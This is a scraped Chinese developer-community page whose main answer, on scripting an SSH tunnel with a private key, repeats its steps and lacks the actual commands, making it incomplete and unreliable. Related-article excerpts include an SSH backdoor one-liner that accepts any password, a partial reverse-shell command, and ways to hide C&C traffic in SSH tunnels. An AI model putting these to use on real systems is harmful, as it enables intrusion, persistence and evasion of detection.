首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

如何在ssh之后通过bash脚本使用私钥创建到远程机器的隧道

在ssh之后,通过bash脚本使用私钥创建到远程机器的隧道,可以按照以下步骤进行:

  1. 创建一个bash脚本文件,例如 tunnel.sh,并使用文本编辑器打开它。
  2. 在脚本文件的开头,添加以下行,指定要使用的私钥文件路径和远程机器的IP地址(或域名):
  3. 在脚本文件的开头,添加以下行,指定要使用的私钥文件路径和远程机器的IP地址(或域名):
  4. 请将 /path/to/private_key.pem 替换为您实际的私钥文件路径,将 IP_address_or_domain 替换为您要连接的远程机器的IP地址或域名。
  5. 在脚本文件中添加以下行,使用ssh命令创建到远程机器的隧道:
  6. 在脚本文件中添加以下行,使用ssh命令创建到远程机器的隧道:
  7. 其中,<local_port> 是您本地机器上用于隧道的端口号,<remote_address> 是远程机器上您希望访问的地址,<remote_port> 是远程机器上对应的端口号,<username> 是您在远程机器上的用户名。
  8. 注意,-N 参数表示不执行远程命令,仅创建隧道。
  9. 保存并关闭脚本文件。
  10. 在终端中运行脚本文件:
  11. 在终端中运行脚本文件:
  12. 脚本将使用指定的私钥文件连接到远程机器,并在本地创建一个隧道,将本地端口与远程机器上指定的地址和端口关联起来。

这样,您就可以在ssh之后通过bash脚本使用私钥创建到远程机器的隧道。这种方法适用于需要在本地与远程机器之间建立安全通信的场景,例如远程访问数据库或服务等。

腾讯云相关产品和产品介绍链接地址:

  • 云服务器(CVM):https://cloud.tencent.com/product/cvm
  • 云数据库 MySQL 版:https://cloud.tencent.com/product/cdb_mysql
  • 云数据库 PostgreSQL 版:https://cloud.tencent.com/product/cdb_postgresql
  • 云数据库 Redis 版:https://cloud.tencent.com/product/cdb_redis
  • 云数据库 MongoDB 版:https://cloud.tencent.com/product/cdb_mongodb
  • 腾讯云 VPC:https://cloud.tencent.com/product/vpc
  • 腾讯云安全组:https://cloud.tencent.com/product/sfw
页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

Ubuntu Server 第七章 远程管理

关于SSH,不仅仅做用为链接,还可以做更多,前面的CS搭配Metasploit一章中也使用到了SSH隧道相关知识。远程连接也不仅只有SSH一种远程连接方式。...使用Telnet可以进行简单端口探测,例如: telnet smtp.163.com25,链接成功则代表相关服务开启。...wuhash.com,这条命令将bash命令通过SSH输入给服务端sehll执行后,输出结果返回到本地终端。...#如果想多个用户的话,推荐新建多个用户,使用"su user"切换到新建用户主目录下编辑配置文件,启动实例 #虽然VNC本身有加密机制,不推荐长期开启,可以通过前面的SSH隧道来提升安全性 PUPPET...——珂儿吖 架设你有100台服务器需要部署同样服务,这里还没有介绍脚本,即使你有脚本,不可能手动依次运行下去。这里PUPPET不进行深入,了解即可。

2K20

无需公网IP,在家SSH远程连接公司内网服务器「cpolar内网穿透」

本次教程我们来实现如何在外公网环境下,SSH远程连接家里/公司Linux CentOS服务器,无需公网IP,也不需要设置路由器。...安装cpolar后,会默认生成一个ssh名称隧道,如果有ssh,则可以直接跳到查看在线隧道列表,然后远程连接 如果没有,我们点击左侧仪表盘隧道管理——创建隧道,由于ssh连接默认是22端口,因此我们要来创建一条...随机地址公网远程连接 在外我们可以通过这个公网地址来SSH远程连接Linux CentOS,以windows系统为例,我们使用在cmd窗口即可远程连接centOS ssh -p 端口号 用户名@公网地址...首先要登录cpolar官网,点击左侧预留 在预留界面中,找到保留TCP地址项目。在这个项目下,我们填入一些必要信息,识别数据隧道隧道名称、隧道使用区域等。...综上,成功实现了在外公网环境下也可以SSH远程连接到公司/家里Linux CentOS服务器,不需要公网IP,也不用设置路由器,简单通过cpolar内网穿透工具映射本地22端口,通过所生成公网地址来进行

3.8K30
  • 不同环境下 Jenkins 调用 shell 脚本管理 docker 容器

    一、生产环境 Jenkins 使用 ssh-copy-id 实现 SSH 无密码登录,实现方式如下: ssh-keygen 产生公钥与私钥对. ssh-copy-id 将本机公钥复制远程机器 authorized_keys...文件中,ssh-copy-id 也能让你有远程机器 home, ~..../ssh , 和 ~/.ssh/authorized_keys 权利 第一步:在本地机器使用 ssh-keygen 产生公钥私钥对 $ ssh-keygen 第二步:用 ssh-copy-id 将公钥复制远程机器中...9、创建目标主机持久化连接 ssh -MNf @ 在后台创建目标主机持久化连接,将这个命令和你~/.ssh/config中配置结合使用: Host host ControlPath...10、通过SSH连接屏幕 ssh -t remote_host screen –r 直接连接到远程屏幕会话(节省了无用bash进程)。

    1.6K20

    利用SSH隧道加密、隐蔽C&C通信流量

    本文想通过标准SSH端口转发建立SSH形式加密隧道,用于加密、隐蔽传输恶意流量,从而避免通过流量检测发现恶意行为。复现实验部分以C&C通信流量为例进入实验。...SSH隧道实现主要使用SSH参数配置进行端 口转发,即将所需传输数据内容通过加密SSH隧道进行转发。...注:使用putty、winscp等工具时需要先使用对应平台工具进行rsa私钥导入后转化为相对应文件格式,本次实验使用putty工具导入生成私钥文件sshrsa.ppk。...6) 通过interact命令则可以使用以建立控制信道控制受控主机,通过简单ls命令测试成功如下图: ?...(2) 使用工具(Empire、Metasploit等)构建C&C。 (3) 利用SSH端口转发搭建SSH隧道。 (4) 配置C&C和SSH参数使二者配合实现加密、隐藏恶意流量目的。

    2K10

    Windows系统如何ssh远程连接本地局域网内无公网IPkali系统

    前言 本文主要介绍如何在本地Kali Linux系统启动ssh服务,并结合cpolar内网穿透软件生成公网地址,轻松实现无公网IP环境也能随时ssh远程连接Kali系统。 1....首次使用,可以在下方官网链接中注册账号!...临时随机TCP端口 地区:选择China VIP 点击创建 然后打开左侧在线隧道列表,查看刚刚创建隧道后生成 ssh tcp连接地址,这个地址就是公网连接地址,我们可以在任意设备上使用该地址进行ssh...远程连接 上面在kali 中创建ssh 公网地址,接下来我们在其他设备上使用公网地址进行ssh 远程连接测试,下面我们在windows 系统命令行进行连接,可以看到连接成功 同样我们使用ssh 连接工具...地址配置隧道中 端口类型:修改为固定tcp端口 预留tcp地址:填写官网保留成功地址, 点击更新 隧道更新成功后,点击左侧仪表盘状态——在线隧道列表,可以看到公网地址已经更新成为了固定TCP地址

    9110

    Windows系统安装OpenSSH结合VS Code远程ssh连接Ubuntu【内网穿透】

    而vscode可以很好解决这些问题,它核心组件都运行在远程环境中,本地开发机器完全不需要拥有远程开发环境源代码,在vscode上编写代码可以直接同步更新到服务器上,给你带来丝滑般远程开发体验。...局域网测试连接远程服务器 以ssh连接ubuntu为例,打开vscode后,先尝试使用局域网地址ssh远程ubuntu 输入命令对话框中,并回车 ssh username@ip 选择一个配置文件 输入完成在右侧会显示出来刚刚添加...8080端口,HTTP协议 4.2 创建隧道映射 我们可以直接使用样例隧道ssh,或者重新创建一个隧道使用tcp协议,指向22端口。...——在线隧道列表,可以看到,刚刚创建隧道已经有生成了相应公网地址,将其复制下来 4.3 测试公网远程连接 在windows上打开vscode,使用所复制公网地址来远程SSH。...点击左侧隧道管理——隧道列表,找到ssh隧道,点击右侧编辑,我们来修改隧道信息,将固定tcp端口地址配置隧道中 修改隧道信息,将保留成功固定tcp地址配置隧道中 端口类型:修改为固定tcp端口

    30610

    【vscode远程开发】使用SSH远程连接服务器 「内网穿透」

    … 而vscode可以很好解决这些问题,它核心组件都运行在远程环境中,本地开发机器完全不需要拥有远程开发环境源代码,在vscode上编写代码可以直接同步更新到服务器上,给你带来丝滑般远程开发体验...局域网测试连接远程服务器 以ssh连接ubuntu为例,打开vscode后,先尝试使用局域网地址ssh远程ubuntu 输入命令对话框中,并回车 ssh username@ip 选择一个配置文件...8080端口,HTTP协议 4.2 创建隧道映射 我们可以直接使用样例隧道ssh,或者重新创建一个隧道使用tcp协议,指向22端口。...——在线隧道列表,可以看到,刚刚创建隧道已经有生成了相应公网地址,将其复制下来 4.3 测试公网远程连接 在windows上打开vscode,使用所复制公网地址来远程SSH。...点击左侧隧道管理——隧道列表,找到ssh隧道,点击右侧编辑,我们来修改隧道信息,将固定tcp端口地址配置隧道中 修改隧道信息,将保留成功固定tcp地址配置隧道中 端口类型:修改为固定tcp端口

    1.5K91

    高颜值外观Archcraft OS如何实现公网环境SSH远程连接【内网穿透】

    Cpolar是一种安全内网穿透云服务,可以将内网下本地服务器通过安全隧道暴露至公网,使得公网用户可以正常访问内网服务,是一款内网穿透软件。...下面介绍如何在Archcraft中 安装Cpolar 内网穿透工具,并以实现ssh 远程连接Archcraft 例子来说明使用Cpolar内网穿透好处及优势!...TCP端口(首次使用选择随机地址测试) 地区:选择China 点击创建 然后打开左侧在线隧道列表,查看刚刚创建隧道后生成 ssh TCP连接地址,这个地址就是公网连接地址,我们可以在任意设备上使用该地址进行...公网远程SSH连接 上面在cpolar中创建ssh 公网地址,接下来我们在其他设备上使用公网地址进行ssh 远程连接测试,在Windows 系统命令行进行连接测试,按照ssh 格式输入命令后,可以看到连接成功...将其复制下来 再次打开cpolar web ui管理界面,点击左侧仪表盘隧道管理——隧道列表,找到我们上面创建TCP隧道,点击右侧编辑 修改隧道信息,将保留成功固定tcp地址配置隧道中 端口类型

    8410

    使用内网穿透为本地欧拉操作系统配置公网地址实现其他设备ssh远程连接

    前言 本教程主要分享如何在华为欧拉openEuler系统中安装cpolar内网穿透工具实现使用ssh远程连接openEule系统....ssh远程连接访问 2. openEuler安装Cpolar openEuler是基于Linux 系统,可以使用cpolar Linux 安装方式一键快捷安装,终端命令界面,我们输入下面指令,首次使用...TCP端口 地区:选择China vip 点击创建 然后打开左侧在线隧道列表,查看刚刚创建隧道后生成 ssh tcp连接地址,这个地址就是公网连接地址,我们可以在任意设备上使用该地址进行ssh 连接...公网远程SSH连接 上面在cpolar中创建ssh 公网地址,接下来我们在其他设备上使用公网地址进行ssh 远程连接测试,下面我们在Windows 系统命令行进行连接,按照ssh 格式输入命令后,...,将其复制下来 打开cpolar web ui管理界面,点击左侧仪表盘隧道管理——隧道列表,找到我们上面创建TCP隧道,点击右侧编辑 修改隧道信息,将保留成功固定tcp地址配置隧道中 端口类型

    10110

    Archcraft系统安装cpolar内网穿透实现公网环境SSH远程连接

    下面介绍如何在Archcraft中 安装Cpolar 内网穿透工具,并以实现ssh 远程连接Archcraft 例子来说明使用Cpolar内网穿透好处及优势!...Archcraft安装Cpolar Archcraft是一个基于Arch LinuxLinux发行版,可以使用cpolar Linux 安装方式一键快捷安装,终端命令界面,我们输入下面指令,首次使用...TCP端口(首次使用选择随机地址测试) 地区:选择China 点击创建 然后打开左侧在线隧道列表,查看刚刚创建隧道后生成 ssh TCP连接地址,这个地址就是公网连接地址,我们可以在任意设备上使用该地址进行...公网远程SSH连接 上面在cpolar中创建ssh 公网地址,接下来我们在其他设备上使用公网地址进行ssh 远程连接测试,在Windows 系统命令行进行连接测试,按照ssh 格式输入命令后,可以看到连接成功...将其复制下来 再次打开cpolar web ui管理界面,点击左侧仪表盘隧道管理——隧道列表,找到我们上面创建TCP隧道,点击右侧编辑 修改隧道信息,将保留成功固定tcp地址配置隧道中 端口类型

    11810

    Linux下常见权限维持方式

    进入/root/.ssh/文件夹,查看文件夹内容,如下所示: ? 其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制服务器。...通过软连接方式,实质上PAM认证是通过软连接文件名 /tmp/su 在/etc/pam.d/目录下寻找对应PAM配置文件(: /etc/pam.d/su),任意密码登陆核心是auth sufficient...在目标服务器上执行一句话后门: ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888 执行完之后,任何一台机器ssh root@IP -p 8888,输入任意密码...a、创建shell脚本,例如在/etc/evil.sh #!...利用方法:安装完成后,使用ssh 用户@IP -P 配置端口,即可远程登录。 连接后截图: ? 排查技巧:查看端口是否异常,RPM check查看命令是否被替换。

    2.4K20

    何在openKlyin中设置ssh并结合cpolar内网穿透实现远程连接

    开发系统,同样支持ssh 连接,下面我们介绍如何在openKlyin中设置ssh连接,并结合cpolar内网穿透 工具实现远程也可以ssh 连接openKlyin....然后我们通过windwos cmd命令窗口创建进行连接测试,在cmd出入ssh 连接命令,可以看到,连接成功,局域网测试通过了,下面我们安装cpolar工具,实现远程访问操作 3. openKylin安装...TCP端口 (首次使用 选择随机地址测试) 地区:选择China vip 点击创建 然后打开左侧在线隧道列表,查看刚刚创建隧道后生成 ssh TCP连接地址,这个地址就是公网连接地址,我们可以在任意设备上使用该地址进行...公网远程SSH连接 上面在cpolar中创建ssh 公网地址,接下来我们在其他设备上使用公网地址进行ssh 远程连接测试,在Windows 系统命令行,按照ssh 格式输入命令后,可以看到连接成功...将其复制下来 再次打开cpolar web ui管理界面,点击左侧仪表盘隧道管理——隧道列表,找到我们上面创建TCP隧道,点击右侧编辑 修改隧道信息,将保留成功固定tcp地址配置隧道中 端口类型

    16710

    openKylin开放麒麟系统安装内网穿透实现任意设备SSH远程连接

    本文主要介绍如何在openKlyin系统中设置ssh连接,并结合cpolar内网穿透工具实现远程也可以ssh连接本地局域网内部署openKlyin系统. openKylin是中国首个基于Linux 桌面操作系统开发者平台...然后我们通过windwos cmd命令窗口创建进行连接测试,在cmd出入ssh 连接命令,可以看到,连接成功,局域网测试通过了,下面我们安装cpolar工具,实现远程访问操作 3. openKylin安装...TCP端口 (首次使用 选择随机地址测试) 地区:选择China vip 点击创建 然后打开左侧在线隧道列表,查看刚刚创建隧道后生成 ssh TCP连接地址,这个地址就是公网连接地址,我们可以在任意设备上使用该地址进行...公网远程SSH连接 上面在cpolar中创建ssh 公网地址,接下来我们在其他设备上使用公网地址进行ssh 远程连接测试,在Windows 系统命令行,按照ssh 格式输入命令后,可以看到连接成功...将其复制下来 再次打开cpolar web ui管理界面,点击左侧仪表盘隧道管理——隧道列表,找到我们上面创建TCP隧道,点击右侧编辑 修改隧道信息,将保留成功固定tcp地址配置隧道中 端口类型

    15210

    Windows系统ssh远程连接本地openKylin开放麒麟系统详细流程

    前言 本文主要介绍如何在openKlyin系统中设置ssh连接,并结合cpolar内网穿透工具实现远程也可以ssh连接本地局域网内部署openKlyin系统. openKylin是中国首个基于Linux...然后我们通过windwos cmd命令窗口创建进行连接测试,在cmd出入ssh 连接命令,可以看到,连接成功,局域网测试通过了,下面我们安装cpolar工具,实现远程访问操作 3. openKylin安装...TCP端口 (首次使用 选择随机地址测试) 地区:选择China vip 点击创建 然后打开左侧在线隧道列表,查看刚刚创建隧道后生成 ssh TCP连接地址,这个地址就是公网连接地址,我们可以在任意设备上使用该地址进行...公网远程SSH连接 上面在cpolar中创建ssh 公网地址,接下来我们在其他设备上使用公网地址进行ssh 远程连接测试,在Windows 系统命令行,按照ssh 格式输入命令后,可以看到连接成功...将其复制下来 再次打开cpolar web ui管理界面,点击左侧仪表盘隧道管理——隧道列表,找到我们上面创建TCP隧道,点击右侧编辑 修改隧道信息,将保留成功固定tcp地址配置隧道中 端口类型

    16210

    Windows终端远程SSH连接本地局域网内openKylin系统详细教程

    前言 本文主要介绍如何在openKlyin系统中设置ssh连接,并结合cpolar内网穿透工具实现远程也可以ssh连接本地局域网内部署openKlyin系统. openKylin是中国首个基于Linux...然后我们通过windwos cmd命令窗口创建进行连接测试,在cmd出入ssh 连接命令,可以看到,连接成功,局域网测试通过了,下面我们安装cpolar工具,实现远程访问操作 3. openKylin安装...TCP端口 (首次使用 选择随机地址测试) 地区:选择China vip 点击创建 然后打开左侧在线隧道列表,查看刚刚创建隧道后生成 ssh TCP连接地址,这个地址就是公网连接地址,我们可以在任意设备上使用该地址进行...公网远程SSH连接 上面在cpolar中创建ssh 公网地址,接下来我们在其他设备上使用公网地址进行ssh 远程连接测试,在Windows 系统命令行,按照ssh 格式输入命令后,可以看到连接成功...将其复制下来 再次打开cpolar web ui管理界面,点击左侧仪表盘隧道管理——隧道列表,找到我们上面创建TCP隧道,点击右侧编辑 修改隧道信息,将保留成功固定tcp地址配置隧道中 端口类型

    12210

    攻击本地主机漏洞(下)

    通过使用远程访问工具,OpenSSH、RDP、FTP或虚拟网络计算(VNC),可以实现从主机主机数据透视。...SSH远程转发(即,-R SSH命令标志)是一种可用于建立从防火墙主机防火墙外主机反向隧道技术,如图10-20所示。...从attackbox.example.com端口2222/tcp任何连接都将使用SSH反向隧道实际到达防火墙客户端。要通过远程出口点进行SSH,只需指向攻击中SSH命令。...示例: ssh localhost -p 2222 选项: -p用于隧道回内部SSH客户端远程出口端口 提示:如果要启用应用程序从服务器SSH客户端X11转发,可以使用-X选项。...通过身份验证后,您可以浏览http://www.internal.Web.org:8080从袭击中。实例org主机,您连接将通过SSH转发隧道(即端口8080/tcp)连接到内部Web服务器。

    3.2K10

    使用Jenkins通过Publish Over SSH插件远程控制主机执行脚本

    配置免密登录  在Jenkins主机上生成一对密钥,公钥发送给需要被远程主机,私钥配置Jenkins中即可。...注意:私钥指的是Jenkins主机上生成私钥,公钥在上面已经发送给被远程主机了。  Passphrase:SSH密码,使用用户名/密码登录时为用户名密码,使用私钥登录时为私钥密码。  ...Name:SSH节点配置名称,在构建中使用Publish over SSH插件时,此名称将出现在“SSH Server”中“Name”下拉列表中,如下图:  Hostname:通过SSH连接到机器主机名或...创建项目  Name:“系统管理>系统配置”设置SSH Sverver名字Name。  Source files:允许为空,复制远程主机上文件。  ...Remote directory:允许为空,文件得到到远程机上目录,此目录是相对于“SSH Server”中“Remote directory”,如果不存在将会自动创建

    1.5K20

    域渗透——多层内网环境渗透测试(三)

    首先在攻击机上创建/root/.sh 目录用于保存我们公钥和私钥 ssh-keygen -t rsa 第一行输入id_rsa,密码设置为空,直接回车 (echo -e "\n\n";cat id_rsa.pub...在提权之前,我们先对系统信息收集一下 深度信息收集 在tmp目录上传信息收集脚本,对机器进行信息收集 反弹shell 反弹到入口机shell bash -c 'exec bash -i &>/dev/.../tmp/hack上了,我们目前思路是,把我们自己生成ssh密钥复制宿主机上进行写入.ssh目录中authorized_keys文件中,写入成功之后就可以使用该密钥进行登陆该机器。...3389 proxychains rdesktop 192.168.93.40 (注:这里kail无法直接连接域控,因为kail无法与kdc进行身份校验,所以只能通过域控中机器进行远程过去) 上去之后把...mimikatz先给第三层网络windows7中,然后再拖入dc机器中,远程连接DC机器 然后再192.168.93.40机器远程控制域控机器 权限维持---白银票据 我们上了域控之后,先手保存域控

    50410

    快速学习Git-远程仓库

    添加远程库 现在我们已经在本地创建了一个Git仓库,又想让其他人来协作开发,此时就可以把本地仓库同步远程仓库,同时还增加了本地仓库一个备份。...ssh密钥生成 在windows下我们可以使用 Git Bash.exe来生成密钥,可以通过开始菜单或者右键菜单打开Git Bash ? ?...同步远程仓库 同步远程仓库可以使用git bash也可以使用tortoiseGit 使用git bash 在仓库所在目录(D:\temp\git\repository)点击右键选择“Git Bash...从远程仓库克隆 克隆远程仓库也就是从远程把仓库复制一份本地,克隆后会创建一个新本地仓库。选择一个任意部署仓库目录,然后克隆远程仓库。...搭建Git服务器需要准备一台运行Linux机器,在此我们使用CentOS。

    1.3K20

    Windows系统使用Tabby终端工具远程ssh连接本地Linux服务器

    前言 今天和大家分享一下如何在Windows系统使用Tabby,这款强大开源跨平台终端工具远程ssh连接本地局域网内Linux服务器从安装到配置详细流程。...4.2 Tabby远程ssh连接ubuntu 我想要使用当前Windows系统通过Tabby远程ssh连接本地局域网内Linux服务器,可以先在设置界面中点击新建,然后选择新配置,再选择ssh连接:...(如果要创建其他服务公网地址需要点击创建隧道进行配置) 然后点击下方在线隧道列表,可以看到ssh公网地址: 5.2 使用公网地址远程ssh连接 现在,我们可以回到Windows系统中Tabby,...配置固定公网地址 由于以上使用cpolar所创建TCP隧道使用是随机公网地址,24小时内会随机变化,不利于长期远程访问。...把ubuntu主机地址替换为这个固定TCP公网地址与端口,点击保存即可: 点击ssh连接,成功使用固定TCP公网地址远程ssh连接本地内网ubuntu系统: 以上就是如何在Windows系统安装

    33820
    领券